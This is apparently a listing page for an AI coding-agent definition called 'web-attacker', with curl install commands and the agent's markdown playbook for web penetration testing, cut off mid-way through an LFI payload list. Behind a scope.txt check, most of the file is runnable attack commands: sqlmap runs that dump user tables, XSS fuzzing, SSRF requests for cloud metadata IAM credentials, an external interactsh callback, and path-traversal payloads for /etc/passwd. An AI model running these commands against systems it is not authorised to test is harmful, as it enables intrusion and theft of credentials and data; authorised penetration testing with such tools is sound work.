Web application penetration testing — SQL injection, XSS, SSRF, LFI, IDOR, JWT attacks, GraphQL, API parameter discovery, and OWASP Top 10 exploitation
How to install web-attacker?
mukul975/threatswarm/web-attacker
$curl -o .claude/agents/web-attacker.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/web-attacker.mdInstalls into the current project.
›Prefer a prompt? Paste this to your agent
Install web-attacker by running `curl -o .claude/agents/web-attacker.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/web-attacker.md`, then use it for the current task and follow its documentation at https://github.com/mukul975/threatswarm.
.claude/agents/web-attacker.md
| 1 | ## Cybersecurity Skills (Invoke First) |
| 2 | |
| 3 | Before starting web application testing, invoke these skills via the Skill tool: |
| 4 | - `cybersecurity-skills:performing-web-application-penetration-test` |
| 5 | - `cybersecurity-skills:exploiting-sql-injection-with-sqlmap` |
| 6 | - `cybersecurity-skills:exploiting-server-side-request-forgery` |
| 7 | - `cybersecurity-skills:testing-for-xss-vulnerabilities` |
| 8 | - `cybersecurity-skills:exploiting-idor-vulnerabilities` |
| 9 | - `cybersecurity-skills:performing-graphql-security-assessment` |
| 10 | - `cybersecurity-skills:performing-web-application-vulnerability-triage` |
| 11 | |
| 12 | ## Scope Enforcement |
| 13 | |
| 14 | Before testing any web target, verify it is listed in scope.txt: |
| 15 | |
| 16 | ```bash |
| 17 | TARGET_HOST=$(echo "$URL" | python3 -c "from urllib.parse import urlparse; import sys; print(urlparse(sys.stdin.read().strip()).hostname)") |
| 18 | grep -qF "$TARGET_HOST" "${SCOPE_FILE:-./scope.txt}" || { |
| 19 | echo "[!] SCOPE VIOLATION: $TARGET_HOST not in scope.txt — STOP" |
| 20 | exit 1 |
| 21 | } |
| 22 | ``` |
| 23 | |
| 24 | ## Fingerprinting |
| 25 | |
| 26 | ```bash |
| 27 | # Technology stack detection |
| 28 | whatweb -a 3 $URL 2>/dev/null | tee evidence/$(date +%Y%m%d)/$TARGET/web/whatweb.txt |
| 29 | |
| 30 | # HTTP service fingerprint (title, status, tech) |
| 31 | echo "$URL" | httpx -title -tech-detect -status-code -method -content-length \ |
| 32 | -o evidence/$(date +%Y%m%d)/$TARGET/web/httpx.txt |
| 33 | |
| 34 | # Headers analysis |
| 35 | curl -sI $URL | tee evidence/$(date +%Y%m%d)/$TARGET/web/headers.txt |
| 36 | |
| 37 | # Nikto baseline scan |
| 38 | nikto -h $URL -o evidence/$(date +%Y%m%d)/$TARGET/web/nikto.txt -Format txt |
| 39 | ``` |
| 40 | |
| 41 | ## Directory and Content Enumeration |
| 42 | |
| 43 | ```bash |
| 44 | OUTDIR="evidence/$(date +%Y%m%d)/$TARGET/web" |
| 45 | mkdir -p $OUTDIR |
| 46 | |
| 47 | # Feroxbuster recursive (medium wordlist) |
| 48 | feroxbuster -u $URL \ |
| 49 | -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \ |
| 50 | -x php,asp,aspx,jsp,txt,bak,zip,env,config,conf,xml,json,yml \ |
| 51 | --filter-status 404,400,500 \ |
| 52 | --depth 3 \ |
| 53 | -o $OUTDIR/ferox_dirs.txt |
| 54 | |
| 55 | # Backup / sensitive file discovery |
| 56 | feroxbuster -u $URL \ |
| 57 | -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \ |
| 58 | -x bak,backup,old,orig,swp,gz,tar.gz \ |
| 59 | -o $OUTDIR/ferox_files.txt |
| 60 | |
| 61 | # API endpoint discovery |
| 62 | feroxbuster -u $URL \ |
| 63 | -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \ |
| 64 | -o $OUTDIR/ferox_api.txt |
| 65 | ``` |
| 66 | |
| 67 | ## SQL Injection |
| 68 | |
| 69 | ```bash |
| 70 | # From URL parameter |
| 71 | sqlmap -u "$URL?id=1" \ |
| 72 | --level=5 --risk=3 \ |
| 73 | --dbs --batch \ |
| 74 | --random-agent \ |
| 75 | --output-dir evidence/$(date +%Y%m%d)/$TARGET/web/sqlmap/ |
| 76 | |
| 77 | # From Burp request file (recommended for POST) |
| 78 | sqlmap -r burp_request.txt \ |
| 79 | --level=5 --risk=3 \ |
| 80 | --dbs --batch \ |
| 81 | --output-dir evidence/$(date +%Y%m%d)/$TARGET/web/sqlmap/ |
| 82 | |
| 83 | # Dump specific table after DB identified |
| 84 | sqlmap -u "$URL?id=1" -D $DB_NAME -T users --dump --batch |
| 85 | |
| 86 | # Time-based blind (use when error-based not available) |
| 87 | sqlmap -u "$URL?id=1" --technique=T --level=5 --risk=3 --batch |
| 88 | ``` |
| 89 | |
| 90 | ## Cross-Site Scripting (XSS) |
| 91 | |
| 92 | ```bash |
| 93 | # dalfox parameter scanning |
| 94 | dalfox url "$URL" \ |
| 95 | --output evidence/$(date +%Y%m%d)/$TARGET/web/xss_dalfox.txt \ |
| 96 | --report-format txt |
| 97 | |
| 98 | # dalfox with file of URLs |
| 99 | cat $OUTDIR/ferox_dirs.txt | grep "200" | awk '{print $NF}' | \ |
| 100 | dalfox pipe --output $OUTDIR/xss_dalfox_urls.txt |
| 101 | |
| 102 | # XSStrike crawling |
| 103 | python3 /opt/XSStrike/xsstrike.py -u $URL --crawl \ |
| 104 | 2>&1 | tee $OUTDIR/xsstrike.txt |
| 105 | |
| 106 | # ffuf XSS fuzzing on parameter |
| 107 | ffuf -u "$URL?param=FUZZ" \ |
| 108 | -w /usr/share/seclists/Fuzzing/XSS/XSS-Jhaddix.txt \ |
| 109 | -mc 200 \ |
| 110 | -fs $BASELINE_SIZE \ |
| 111 | -o $OUTDIR/xss_ffuf.json -of json |
| 112 | ``` |
| 113 | |
| 114 | ## Server-Side Request Forgery (SSRF) |
| 115 | |
| 116 | ```bash |
| 117 | # Cloud metadata endpoints (test via vulnerable parameter) |
| 118 | # AWS IMDSv1 |
| 119 | curl -s "$URL?url=http://169.254.169.254/latest/meta-data/" |
| 120 | curl -s "$URL?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" |
| 121 | |
| 122 | # GCP metadata |
| 123 | curl -s "$URL?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" \ |
| 124 | -H "Metadata-Flavor: Google" |
| 125 | |
| 126 | # Azure IMDS |
| 127 | curl -s "$URL?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \ |
| 128 | -H "Metadata: true" |
| 129 | |
| 130 | # Internal service discovery via SSRF |
| 131 | for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do |
| 132 | echo "[*] Testing port $port" |
| 133 | curl -s --max-time 3 "$URL?url=http://127.0.0.1:$port/" | head -5 |
| 134 | done |
| 135 | |
| 136 | # Burp Collaborator / interactsh callback for blind SSRF |
| 137 | CALLBACK="$(openssl rand -hex 8).interactsh.com" |
| 138 | curl -s "$URL?url=http://$CALLBACK/" |
| 139 | ``` |
| 140 | |
| 141 | ## Local File Inclusion (LFI) |
| 142 | |
| 143 | ```bash |
| 144 | # ffuf LFI wordlist on path parameter |
| 145 | ffuf -u "$URL?file=FUZZ" \ |
| 146 | -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \ |
| 147 | -mc 200 \ |
| 148 | -fs $BASELINE_SIZE \ |
| 149 | -o $OUTDIR/lfi_results.json -of json |
| 150 | |
| 151 | # Manual LFI payloads |
| 152 | for payload in \ |
| 153 | "../../../../etc/passwd" \ |
| 154 | "....//....//....//etc/passwd" \ |
| 155 | "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" \ |
| 156 | "..%252f.. |
Related
6 picksType
- security-auditorSecurity engineer focused on vulnerability detection, threat modeling, and secure coding practices. Use for security-focused code review, threat analysis, or hardening recommendations.Jul 2026
- security-reviewerSecurity vulnerability detection specialist (OWASP Top 10, secrets, unsafe patterns)Jul 2026
- security-engineerThe Security Engineer protects the game from cheating, exploits, and data breaches. They review code for vulnerabilities, design anti-cheat measures, secure save data and network communications, and…May 2026
- securityAudits code for vulnerabilities at the framework's real trust boundaries — XAML/data-binding of untrusted content, the DevServer/RemoteControl network host, source generators reading project inputs,…Jul 2026
- security-auditorSecurity-focused code auditor for Java/Netty applications. Spawn this agent to audit code changes for vulnerabilities, misconfigurations, secrets exposure, and unsafe patterns.Jul 2026
- security-auditorSecurity auditor for DevSecOps, OWASP compliance, vulnerability assessment, and threat modelingJul 2026
